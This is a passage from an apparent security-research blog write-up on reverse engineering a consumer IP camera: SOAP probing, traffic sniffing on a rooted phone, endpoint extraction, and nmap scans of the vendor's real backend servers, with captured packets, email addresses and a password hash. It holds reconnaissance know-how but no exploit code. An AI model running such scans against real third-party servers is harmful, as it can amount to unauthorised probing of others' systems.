class="s">"http://www.onvif.org/ver10/device/wsdl"</span> <span class="na">xmlns:tev=</span><span class="s">"http://www.onvif.org/ver10/events/wsdl"</span> <span class="na">xmlns:wsnt=</span><span class="s">"http://docs.oasis-open.org/wsn/b-2"</span> <span class="na">xmlns:tptz=</span><span class="s">"http://www.onvif.org/ver20/ptz/wsdl"</span> <span class="na">xmlns:trt=</span><span class="s">"http://www.onvif.org/ver10/media/wsdl"</span><span class="nt">&gt;</span> <span class="nt">&lt;faultcode&gt;</span>SOAP-ENV:Client<span class="nt">&lt;/faultcode&gt;</span> <span class="nt">&lt;faultstring&gt;</span>HTTP GET method not implemented<span class="nt">&lt;/faultstring&gt;</span> <span class="nt">&lt;/SOAP-ENV:Fault&gt;</span> </code></pre></div></div> <p>Now I need to get to know how to communicate with this api. This link can help: http://forums.opto22.com/t/how-to-send-soap-messages/951/9 I need to send POST requests with a XML string in SOAP format. In addition I was searching for “soap” string in the filesystem, it will reveal that the binary npc holds the gSoap service and used headers and SOAP elements:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># strings npc | grep -i soap </span> SOAP-ENV http://www.w3.org/2003/05/soap-envelope http://schemas.xmlsoap.org/soap/envelope/ SOAP-ENC ... gSOAP Web Service gSOAP/2.8 wsa5:SoapAction SOAP-ENC:id SOAP-ENC:position ... xmlns:SOAP-RPC SOAP-ENC:ref application/xop+xml<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8<span class="p">;</span> <span class="nb">type</span><span class="o">=</span><span class="s2">"application/soap+xml"</span> SOAPAction SOAP-ENC:Array ... no master socket <span class="k">in </span>soap_accept<span class="o">()</span> accept failed <span class="k">in </span>soap_accept<span class="o">()</span> setsockopt SO_RCVBUF failed <span class="k">in </span>soap_accept<span class="o">()</span> setsockopt TCP_NODELAY failed <span class="k">in </span>soap_accept<span class="o">()</span> SOAP-ENC:root </code></pre></div></div> <p>There are interesting strings like “xmlns:SOAP-RPC” and “wsa5:SoapAction” which leads to implemented methods, I guess. As I know I have to send POST requests with attached XML content I can easily craft such a request with curl:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-H</span> <span class="s2">"Content-Type: text/xml; charset=utf-8"</span> <span class="nt">-H</span> <span class="s2">"SOAPAction:"</span> <span class="nt">-d</span> @soap_req_01.txt <span class="nt">-X</span> POST http://10.0.1.25:5000 </code></pre></div></div> <p>With the example soap request:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># cat soap_req_01.txt </span> &lt;?xml <span class="nv">version</span><span class="o">=</span><span class="s2">"1.0"</span> <span class="nv">encoding</span><span class="o">=</span><span class="s2">"UTF-8"</span> <span class="nv">standalone</span><span class="o">=</span><span class="s2">"no"</span> ?&gt; &lt;SOAP-ENV:Envelope SOAP-ENV:encodingStyle<span class="o">=</span><span class="s2">"http://schemas.xmlsoap.org/soap/encoding/"</span> xmlns:SOAP-ENV<span class="o">=</span><span class="s2">"http://schemas.xmlsoap.org/soap/envelope/"</span> xmlns:SOAP-ENC<span class="o">=</span><span class="s2">"http://schemas.xmlsoap.org/soap/encoding/"</span> xmlns:xsi<span class="o">=</span><span class="s2">"http://www.w3.org/1999/XMLSchema-instance"</span> xmlns:xsd<span class="o">=</span><span class="s2">"http://www.w3.org/1999/XMLSchema"</span><span class="o">&gt;</span> &lt;SOAP-ENV:Body&gt; &lt;ns1:doubleAnInteger xmlns:ns1<span class="o">=</span><span class="s2">"urn:MySoapServices"</span><span class="o">&gt;</span> &lt;param1 xsi:type<span class="o">=</span><span class="s2">"xsd:int"</span><span class="o">&gt;</span>123&lt;/param1&gt; &lt;/ns1:doubleAnInteger&gt; &lt;/SOAP-ENV:Body&gt; &lt;/SOAP-ENV:Envelope&gt; </code></pre></div></div> <p>I tried a lot of different ones and it will result in errors like “Method not implemented” as I don’t know the used methods. I don’t know how to craft the headers for the methods as I don’t have much knowledge about SOAP API’s and it seems to be not the easiest API especially when not knowing the used methods.</p> <p>There was released a quite fresh Exploit “Devil’s Ivy” of the service gSoap in several versions. This will be handled in a extra gistfile: https://gist.github.com/herrfeder/883093ae93eaefba8950c00f6a6bbed8#file-sricam_upnp_npc-md http://blog.senr.io/devilsivy.html</p> <h3 id="33-external-communication">3.3 External Communication</h3> <p>As I suspect an encrypted connection between IPCam, Smartphone and Backend Server, we need to sniff directly on the IPCam or the smartphone. I guess, it’s much easier to setup raw sniffing on a rooted Android powered mobile phone. The rooting is necessary for sniffing raw traffic on the network. I downloaded tcpdump for Android (http://www.androidtcpdump.com/) and load it onto the phone. For placing and executing an external binary are only a few places appropriate in the android file system. You can use /data/local/tmp or /sdcard/tmp or maybe some other. With adb we can control our Phone now.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>adb shell <span class="c">#opening shell on android phone</span> shell@mako:/ <span class="nv">$ </span>su root@mako:/data/local/tmp <span class="c"># ./tcpdump -n -s 0 -w ipcam_cap </span> tcpdump: listening on wlan0, link-type EN10MB <span class="o">(</span>Ethernet<span class="o">)</span>, capture size 262144 bytes ^C16598 packets captured 16598 packets received by filter 0 packets dropped by kernel root@mako:/data/local/tmp <span class="c"># ls</span> hexdump.bin ipcam_cap tcpdump </code></pre></div></div> <h4 id="331-communication-between-mobile-phone-and-ipcam">3.3.1 Communication between Mobile Phone and IPCam</h4> <p>I was trying to trigger many activities in the communication between App and IPCam to get interesting traffic. There was some interesting traffic. In following screenshots the App activity screenshots will be paired with screenshots of interesting packets. To filter all the Android and Google Stuff it’s useful to filter some IP’s. I use wireshark for this:</p> <p><a href="https://github.com/herrfeder/Offensive_IOT_Exploitation/blob/master/gist_files/smartphone_10.0.0.27_ipcam_10.0.0.21.cap">Communication Smartphone IPCam</a></p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>not ip.addr <span class="o">==</span> 172.217.22.99 <span class="o">&amp;&amp;</span> not ip.addr <span class="o">==</span> 216.58.205.0/24 <span class="o">&amp;&amp;</span> ip.addr <span class="o">==</span> 10.0.0.0/24 </code></pre></div></div> <div class="image-container"> <div class="image-wrapper-double"> <a href="https://i.imgur.com/OQz4e8X.png" title="Register Screenshot 1" target="_blank"> <img class="image1" src="https://i.imgur.com/OQz4e8X.png" alt="Register Screenshot 1" /> </a> <p class="image-caption">Register Screenshot 1</p> </div> <div class="image-wrapper-double"> <a href="https://i.imgur.com/0H2RkYn.png" title="Register Screenshot 2" target="_blank"> <img class="image2" src="https://i.imgur.com/0H2RkYn.jpg" alt="Register Screenshot 2" /> </a> <p class="image-caption">Register Screenshot 2</p> </div> </div> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/4nQNNgK.png" title="Login Check" target="_blank"> <img class="image" src="https://i.imgur.com/4nQNNgK.png" alt="Login Check" /> </a> <p class="image-caption">Login Check</p> </div> </div> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/ldewdMA.png" title="Answer for existing login" target="_blank"> <img class="image" src="https://i.imgur.com/ldewdMA.png" alt="Answer for existing login" /> </a> <p class="image-caption">Answer for existing login</p> </div> </div> <div class="image-container"> <div class="image-wrapper-double"> <a href="https://i.imgur.com/OPrbLyR.png" title="Add Friend / Add camera to personal dash" target="_blank"> <img class="image1" src="https://i.imgur.com/OPrbLyR.png" alt="Add Friend / Add camera to personal dash" /> </a> <p class="image-caption">Add Friend / Add camera to personal dash</p> </div> <div class="image-wrapper-double"> <a href="https://i.imgur.com/YDGSJ34.png" title="After adding =&gt; Get friends list" target="_blank"> <img class="image2" src="https://i.imgur.com/YDGSJ34.png" alt="After adding =&gt; Get friends list" /> </a> <p class="image-caption">After adding =&gt; Get friends list</p> </div> </div> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/ldewdMA.png" title="Answer for existing login" target="_blank"> <img class="image" src="https://i.imgur.com/ldewdMA.png" alt="Answer for existing login" /> </a> <p class="image-caption">Answer for existing login</p> </div> </div> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/zybnO0G.png" title="Add friend capture" target="_blank"> <img class="image" src="https://i.imgur.com/zybnO0G.png" alt="Add friend capture" /> </a> <p class="image-caption">Add friend capture</p> </div> </div> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/ldewdMA.png" title="Reply for existing login" target="_blank"> <img class="image" src="https://i.imgur.com/ldewdMA.png" alt="Reply for existing login" /> </a> <p class="image-caption">Reply for existing login</p> </div> </div> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/Ixswo9z.png" title="Get friends list" target="_blank"> <img class="image" src="https://i.imgur.com/Ixswo9z.png" alt="Get friends list" /> </a> <p class="image-caption">Get friends list</p> </div> </div> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/8I54Wvk.png" title="Delete friend" target="_blank"> <img class="image" src="https://i.imgur.com/8I54Wvk.png" alt="Delete friend" /> </a> <p class="image-caption">Delete friend</p> </div> </div> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/jF4HlyL.png" title="Get Version" target="_blank"> <img class="image" src="https://i.imgur.com/jF4HlyL.png" alt="Get Version" /> </a> <p class="image-caption">Get Version</p> </div> </div> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/O9da1vS.png" title="Reply for version" target="_blank"> <img class="image" src="https://i.imgur.com/O9da1vS.png" alt="Reply for version" /> </a> <p class="image-caption">Reply for version</p> </div> </div> <p>The first bad intention of the security architecture is using only plain HTTP communication. They are “secured” by a Session ID and some kind of encryption in the payloads.</p> <h4 id="332-firmware-update">3.3.2 Firmware Update</h4> <p>The app delivers the possibility of doing a firmware update of the IPCam. Of course, I captured this: <a href="https://github.com/herrfeder/Offensive_IOT_Exploitation/blob/master/gist_files/firmware_upgrade.cap">Firmware Upgrade</a> But there isn’t any obvious activity in the file, that would point out a firmware upgrade. Only many udp traffic between smartphone and IPCam. Following this UDP stream over the whole capture:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sb">`</span>...<span class="o">}</span>E.k............4...<span class="sb">`</span>...<span class="o">}</span>E.k............4...<span class="sb">`</span>...<span class="o">}</span>E.k............4...<span class="sb">`</span>...~E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>...~E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ....... ...<span class="sb">`</span>....E.k.... ....... ...<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... .......!...<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ....... ...<span class="sb">`</span>....E.k.... .......!...<span class="sb">`</span>....E.k.... .......<span class="s2">"...</span><span class="sb">`</span>....E.k.... ...........<span class="sb">`</span><span class="s2">....E.k.... ...........</span><span class="sb">`</span>....E.k.... ...........<span class="sb">`</span><span class="s2">....E.k.... ....... ...</span><span class="sb">`</span>....E.k.... .......!...<span class="sb">`</span><span class="s2">....E.k.... ......."</span>...<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... .........dm..<span class="sb">`</span>....E.k............4...<span class="sb">`</span>....E.k............4...<span class="sb">`</span>....E.k............4...<span class="sb">`</span>....E.k............4...<span class="sb">`</span>....E.k............4...<span class="sb">`</span>....E.k............4...<span class="sb">`</span>....E.k............4...<span class="sb">`</span>....E.k............4...<span class="sb">`</span>....E.k............4...<span class="sb">`</span>....E.k.... .......<span class="o">(</span>...<span class="sb">`</span>....E.k.... .......<span class="o">)</span>...<span class="sb">`</span>....E.k.... .......<span class="k">*</span>...<span class="sb">`</span>....E.k.... .......+...<span class="sb">`</span>....E.k.... .......,...<span class="sb">`</span>....E.k.... .......-...<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ......./...<span class="sb">`</span>....E.k.... .......0...<span class="sb">`</span>....E.k.... .......1...<span class="sb">`</span>....E.k.... .......2...<span class="sb">`</span>....E.k.... .......3...<span class="sb">`</span>....E.k.... .......<span class="o">)</span>...<span class="sb">`</span>....E.k.... .......<span class="k">*</span>...<span class="sb">`</span>....E.k.... .......+...<span class="sb">`</span>....E.k.... .......,...<span class="sb">`</span>....E.k.... .......-...<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ......./...<span class="sb">`</span>....E.k.... .......0...<span class="sb">`</span>....E.k.... .......1...<span class="sb">`</span>....E.k.... .......2...<span class="sb">`</span>....E.k.... .......3...<span class="sb">`</span>....E.k.... .......<span class="k">*</span>...<span class="sb">`</span>....E.k.... .......+...<span class="sb">`</span>....E.k.... .......,...<span class="sb">`</span>....E.k.... .......-...<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ......./...<span class="sb">`</span>....E.k.... .......0...<span class="sb">`</span>....E.k.... .......1...<span class="sb">`</span>....E.k.... .......2...<span class="sb">`</span>....E.k.... .......3...<span class="sb">`</span>....E.k.... .......4...<span class="sb">`</span>....E.k.... .......5...<span class="sb">`</span>....E.k.... .......5...<span class="sb">`</span>....E.k.... .......5...<span class="sb">`</span>....E.k.... .......6...<span class="sb">`</span>....E.k.... .......5...<span class="sb">`</span>....E.k.... .......6...<span class="sb">`</span>....E.k.... .......5...<span class="sb">`</span>....E.k.... .......6...<span class="sb">`</span>....E.k.... .......7...<span class="sb">`</span>....E.k.... .......5...<span class="sb">`</span>....E.k.... .......6...<span class="sb">`</span>....E.k.... .......7...<span class="sb">`</span>....E.k.... .......8...<span class="sb">`</span>....E.k.... .......N...<span class="sb">`</span>....E.k.... .......I...<span class="sb">`</span>....E.k.... .......J...<span class="sb">`</span>....E.k.... .......K...<span class="sb">`</span>....E.k.... .......L...<span class="sb">`</span>....E.k.... .......M...<span class="sb">`</span>....E.k.... .......N...<span class="sb">`</span>....E.k.... .......O...<span class="sb">`</span>....E.k.... .......J...<span class="sb">`</span>....E.k.... .......K...<span class="sb">`</span>....E.k.... .......L...<span class="sb">`</span>....E.k.... .......M...<span class="sb">`</span>....E.k.... .......N...<span class="sb">`</span>....E.k.... .......O...<span class="sb">`</span>....E.k.... .......J...<span class="sb">`</span>....E.k.... .......K...<span class="sb">`</span>....E.k.... .......L...<span class="sb">`</span>....E.k.... .......M...<span class="sb">`</span>....E.k.... .......N...<span class="sb">`</span>....E.k.... .......O...<span class="sb">`</span>....E.k.... .......P...<span class="sb">`</span>....E.k.... .......Q...<span class="sb">`</span>....E.k.... .......Q...<span class="sb">`</span>....E.k.... .......R...<span class="sb">`</span>....E.k.... .......Q...<span class="sb">`</span>....E.k.... .......R...<span class="sb">`</span>....E.k.... .......S...<span class="sb">`</span>....E.k.... .......S...<span class="sb">`</span>....E.k.... .......T...<span class="sb">`</span>....E.k.... .......T...<span class="sb">`</span>....E.k.... .......U...<span class="sb">`</span>....E.k.... .......U...<span class="sb">`</span>....E.k.... .......U...<span class="sb">`</span>....E.k.... .......V...<span class="sb">`</span>....E.k.... .......U...<span class="sb">`</span>....E.k.... .......V...<span class="sb">`</span>....E.k.... .......W...<span class="sb">`</span>....E.k.... .......W...<span class="sb">`</span>....E.k.... .......W...<span class="sb">`</span>....E.k.... .......em..<span class="sb">`</span>...<span class="o">}</span>E.k............4...<span class="sb">`</span>...<span class="o">}</span>E.k............4...<span class="sb">`</span>...<span class="o">}</span>E.k............4...<span class="sb">`</span>...~E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>...~E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ...........<span class="sb">`</span>....E.k.... ....... ...<span class="sb">`</span>....E.k.... ....... As the file is to small <span class="k">for </span>including a firmware stream and examining this repeatedly structure something has to went wrong on capturing the firmware upgrade. <span class="c">### 3.3.3 Remote Website for accessing IPCam via Internet</span> Applying more filter to see communication between Laptop and the remote feature on videoipcamera.cn/view. Requires Internet Explorer to use it. There is a lot of traffic with three participants, so I have to use multiple rules and append only the file with the already filtered packets: <span class="o">[</span>Communication AP Laptop prefiltered]<span class="o">(</span>https://github.com/herrfeder/Offensive_IOT_Exploitation/blob/master/gist_files/access_point_cap_laptop_10.0.1.36_website_101.1.17.22_filtered.cap<span class="o">)</span> <span class="sb">```</span>bash not ip.addr <span class="o">==</span> 172.217.22.99 <span class="o">&amp;&amp;</span> not ip.addr <span class="o">==</span> 216.58.205.234 <span class="o">&amp;&amp;</span> ip.addr <span class="o">==</span> 101.1.17.22 <span class="o">&amp;&amp;</span> ip.addr <span class="o">==</span> 10.0.1.36 <span class="o">&amp;&amp;</span> http.request </code></pre></div></div> <p>This will reveal a lot of GET requests to videoipcamera.cn and a binary setup.exe on http://videoipcamera.cn/view/setup.exe. This is necessary to use the cam-client on a PC. By the way, installing and starting it on Windows 10 and Windows 7 Internet Explorer will kill Internet Explorer.</p> <div class="image-container"> <div class="image-wrapper-double"> <a href="https://i.imgur.com/UqKd2is.png" title="Login for the web app" target="_blank"> <img class="image1" src="https://i.imgur.com/UqKd2is.png" alt="Login for the web app" /> </a> <p class="image-caption">Login for the web app</p> </div> <div class="image-wrapper-double"> <a href="https://i.imgur.com/BC6Aclr.png" title="Internet Explorer crashes on login attempt" target="_blank"> <img class="image2" src="https://i.imgur.com/BC6Aclr.png" alt="Internet Explorer crashes on login attempt" /> </a> <p class="image-caption">Internet Explorer crashes on login attempt</p> </div> </div> <p>It will install some files into the directory C:Programme/Viewer_IPCam(SDL2.dll,Viewer.ocx). SDL2.dll won’t reveal anything interesting with a short look in IDA Disassembler:</p> <p><img src="https://i.imgur.com/bpIRtZs.png" alt="Image" /></p> <p>Viewer.ocx has some interesting strings in it that will reveal some new type of requests to the server:</p> <p><img src="https://i.imgur.com/Ch1FEOt.png" alt="Image" /></p> <p>Put that into a list with the new info:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Viewer 1 327681 -1 39 / http:// DomainList 500 404 29 23 &amp;Language= &amp;AppName= &amp;AppOS= &amp;AppOS &amp;AppVersion= &amp;AppVersion Users/LoginCheck.ashx &amp;DomainList= &amp;Pwd= VersionFlag=1&amp;User= Users/Logout.ashx &amp;SessionID= UserID= Users/AddFriend.ashx &amp;MonitorPwd= &amp;RemarkName= &amp;Groupname= &amp;FriendID= Users/DeleteFriend.ashx &amp;DelFromHisList=0 Users/GetFriendList.ashx &amp;Type= Users/PhoneCheckCode.ashx &amp;PhoneNO= CountryCode= Users/RegisterCheck.ashx &amp;IgnoreSafeWarning= &amp;VerifyCode= &amp;CountryCode= &amp;Email= &amp;RePwd= VersionFlag=1&amp;Pwd= Users/modifyFriendRemarkName.ashx &amp;OldRemarkName= &amp;NewRemarkName= Users/ModifyMonitorPwd.ashx {"error_code":"100100","error":"ÕÒ²»µ½¿ÉÓ÷þÎñÆ÷"} {"error_code":"100101","error":"·¢ËÍÇëÇóʧ°Ü"} ðíHTTP Host: Content-Length: %ld User-Agent: Neeao/4.0 Accept-Encoding: gzip, default Accept-Language: en-us Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */* HTTP/1.0 POST GET Content-Type: application/x-www-form-urlencoded </code></pre></div></div> <p>This will reveal some common HTTP requests and the related attributes that has to be sent with the request. I tried several ones with random filling of the known attributes which only resulted in errors.</p> <h4 id="334-direct-communication-between-ipcam-and-servers">3.3.4 Direct Communication between IPCam and servers</h4> <p>Using this rule we can filter only the direct communication of the IPCam:</p> <p><a href="https://github.com/herrfeder/Offensive_IOT_Exploitation/blob/master/gist_files/ipcam_10.0.1.25.cap">IPCam Communication to Server</a></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ip.addr == 10.0.1.25 </code></pre></div></div> <p>It’s obvious, that the exchanged payloads are encrypted somehow as I’m not able to read it’s content directly or base64 etc. I guess the encrypting for these UDP messages will happen for the IPCam in the npc binary too. It has to be some static encryption as many bit chunks will repeat often.</p> <h3 id="335-collecting-information">3.3.5 Collecting Information</h3> <p>I collected a list of participating servers with IP and often used requests:</p> <div align="right"> <table border="0"> <tr> <td>videoipcamera.com</td> <td>218.30.35.92</td> <td>POST /Users/GetFriendList.ashx</td> <td>POST /Users/AddFriend.ashx</td> </tr> <tr> <td>videoipcamera.cn</td> <td>101.1.17.22</td> <td>POST /Users/GetFriendList.ashx</td> <td>POST /Users/AddFriend.ashx</td> </tr> <tr> <td>upg1.videoipcamera.cn</td> <td>218.30.35.92</td> <td>GET /00/06/latestversion.asp</td> </tr> <tr> <td>p2p1.videoipcamera.cn</td> <td>146.0.238.42</td> </tr> <tr> <td>api1.videoipcamera.cn</td> <td>101.1.17.22</td> <td>POST /Users/LoginCheck.ashx</td> </tr> <tr> <td>api2.videoipcamera.cn</td> <td>218.30.35.92</td> <td>POST /Users/LoginCheck.ashx</td> </tr> <tr> <td>p2p2.videoipcamera.com</td> <td>218.30.35.92</td> </tr> <tr> <td>api3.videoipcamera.cn</td> <td>101.1.17.22</td> <td>POST /Users/LoginCheck.ashx</td> </tr> <tr> <td>p2p6.videoipcamera.com</td> <td>101.1.17.22</td> </tr> <tr> <td>api4.videoipcamera.com</td> <td>146.0.238.42</td> <td>POST /Users/LoginCheck.ashx</td> <td>UDP Port 8000</td> <td>UDP Port 51880</td> </tr> <tr> <td>p2p3.videoipcamera.com</td> <td>146.0.238.42</td> </tr> <tr> <td>p2p4.videoipcamera.com</td> <td>146.0.238.42</td> </tr> <tr> <td></td> <td>92.42.106.94</td> <td>UDP Port 4000</td> <td>UDP Port 4001</td> </tr> <tr> <td>p2p5.videoipcamera.com</td> <td>103.41.127.199</td> <td>UDP Port 51880</td> <td>UDP Port 51881</td> </tr> <tr> <td>104-250-152-26.static.gorillaservers.com</td> <td>104.250.152.26</td> <td>UDP Port 8000</td> <td>UDP Port 8001</td> <td></td> </tr> </table> </div> <p>There are some other servers participated talking directly to the IPCam and the Phone over UDP. We can identify some often used UDP Ports on our devices:</p> <ul> <li>Phone =&gt; IPCam UDP to 51880</li> <li>IPCam =&gt; Phone UDP to 5188{0,1,2} Please be cautious, when intended to scan unkown web servers. Your actions could be understand as an attack. ```bash $ nmap -sU -p8000 api4.videoipcamera.com</li> </ul> <p>PORT STATE SERVICE 8000/udp open|filtered irdmi # Intel Remote Desktop Management Interface</p> <p>$ nmap -sU -p4000 92.42.106.94</p> <p>PORT STATE SERVICE 4000/udp open|filtered icq # conferencing protocol</p> <p>$ nmap -sU -p4001 92.42.106.94</p> <p>PORT STATE SERVICE 4001/udp open|filtered newoak</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I guess this UDP ports are used to control the IPCam and the app remotely. ```bash $ nmap 92.42.106.94 PORT STATE SERVICE 3389/tcp open ms-wbt-server 5060/tcp closed sip 5061/tcp closed sip-tls $ nmap 103.41.127.199 PORT STATE SERVICE 80/tcp open http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 1025/tcp filtered NFS-or-IIS 3389/tcp open ms-wbt-server 6129/tcp filtered unknown 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49157/tcp open unknown 49165/tcp open unknown $ host 104.250.152.26 26.152.250.104.in-addr.arpa domain name pointer 104-250-152-26.static.gorillaservers.com. $ nmap 104.250.152.26 PORT STATE SERVICE 80/tcp open http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 1025/tcp filtered NFS-or-IIS 6129/tcp filtered unknown 8080/tcp open http-proxy 9090/tcp open zeus-admin 33899/tcp open unknown 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49158/tcp open unknown 49159/tcp open unknown </code></pre></div></div> <p>Using GeoLocation services the server 104.250.152.26 is the only one that isn’t hosted in China. Regarding the similiar port fingerprint and exchanging similiar UDP messages with mobile phone and IPCam I can determine that this server is involved in the infrastructure. We can see multiple server with interesting port fingerprint and interesting UDP ports, too. Without strong assumption of vulnerabilities, I won’t start to attack any server. Collecting some encrypted Info bits, that may will help me on reversing App and firmware:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Passwort: &lt;secret&gt; <span class="o">=&gt;</span> 891A54C4E2EAB52D01C6FBF85A4C143E <span class="c"># hashing for passwort</span> UserID: 0732910 <span class="o">=&gt;</span> <span class="nt">-2146750738</span> <span class="c"># conversion for UserID</span> Encrypted UDP: 10.0.0.21 <span class="o">(</span>IPCam<span class="o">)</span> -&gt; 10.0.0.27 <span class="o">(</span>Smartphone<span class="o">)</span> 00:00:00:02:00:00:00:01:00:00:00:50:00:00:00:01:00:09:41:38:00:00:00:07:00:00:00:01:0e:00:00:0f:00:30:61:72:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:2f:00:00:00:00:00:00:00:00 Encrypted UDP: 10.0.0.27 <span class="o">(</span>Smartphone<span class="o">)</span> -&gt; 146.0.238.42 0c:05:03:00:ee:b6:b9:67:ee:2e:0b:80:3c:88:2a:1d:4e:25:36:4f:9a:44:28:8e:00:00:00:00:e4:74:85:3b Encrypted UDP: 146.0.238.42 -&gt; 10.0.0.27 <span class="o">(</span>Smartphone<span class="o">)</span> 0d:01:00:00:9a:44:28:8e:b1:e8:c6:af:09:00:00:00:5c:2a:6a:5e:0f:a0:01:01:92:00:ee:2a:ca:a8:01:01:68:fa:98:1a:1f:40:01:01:67:29:7f:c7:ca:a8:01:01:dc:e7:8e:89:22:53:03:01:da:1e:23:5c:22:53:03:01:92:00:ee:2a:22:53:03:01:da:1e:23:5c:2b:5c:04:01:92:00:ee:2a:2b:5c:04:01 </code></pre></div></div> <p>This UDP packet payloads are exchanged between smartphone and multiple servers (146.0.238.42,103.41.127.199,104.250.152.26):</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0103caa80a00011eee2e0b80b486ca4d073e19397593056b8675f8030001000051000000 0103caa80a00011eee2e0b8024ac620c080cc0b07aa1dce26f79f8030001000051000000 0203caa800000000ee2e0b80b486ca4d073e19397593056b8675f80300010000010000000000000000000000 0203caa800000000ee2e0b8024ac620c080cc0b07aa1dce26f79f80300010000010000000000000000000000 0103caa80a00011eee2e0b806285763d44675edb36ca4289587df8030001000051000000 0103caa80a00011eee2e0b80422226691c0471f66ea96da44381f8030001000051000000 0203caa800000000ee2e0b806285763d44675edb36ca4289587df80300010000010000000000000000000000 0103caa80a00011eee2e0b802792d54f60749ffd12d983af2d85f8030001000051000000 0203caa800000000ee2e0b80422226691c0471f66ea96da44381f80300010000010000000000000000000000 0203caa800000000ee2e0b802792d54f60749ffd12d983af2d85f80300010000010000000000000000000000 </code></pre></div></div> <p>This partly cleartext packages was exchanged between IPCam and phone when trying to subscribe an email for an alarm notification: <a href="https://github.com/herrfeder/Offensive_IOT_Exploitation/blob/master/gist_files/email_subscribe.cap">Email Subscribing for Alarm</a></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0.......p...........8... ....iZo8...Ej.q.iZo(H..........0........N............[o....IC.q..[oPPvop.Po[... ...........433.../..............GVo8.[o............ .....C...U.8.[o..C..........W.sa....6..........`...|E.k........hildagard@temp-mail.de..............................................smtp.gmail.com,173.194.193.108,173.194.67.108...................anabelle@shitmail.de............................................2v..i....i0e....`iZo....`...=8O.^....F..0.......p...........8...Attention: alarm...............................................qDear User, Please check the attached picture for more information.................................sa...|E.k........ </code></pre></div></div> <p>It needs more research and examination to get the “bigger picture” of this server infrastructure. But most important for this part, getting information about encryption and key management.</p> <h2 id="4-reversing">4. Reversing</h2> <p>There are multiple binaries contributed to the whole application that are worth to be examined. We have to look at the android application and the extracted firmware. Moreover there are single binaries in the firmware beeing suspected to store interesting information that have to be examined. I will go through this process by using different tools to get deeper into the application logic.</p> <h3 id="41-jadx">4.1 JADX</h3> <p>JADX is a decompiler for java executables that will also process apk. You can simply execute the binary of jadx by appending your desired apk.</p> <p>On executing JADX I recognized this:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Exception <span class="k">in </span>thread java.lang.OutOfMemoryError: Java heap space </code></pre></div></div> <p>As I work in a VM with low RAM JADX overflows my virtual machine heap. By changing the environment variable we can maximize the memory space and using only one thread it will work better.</p> <div 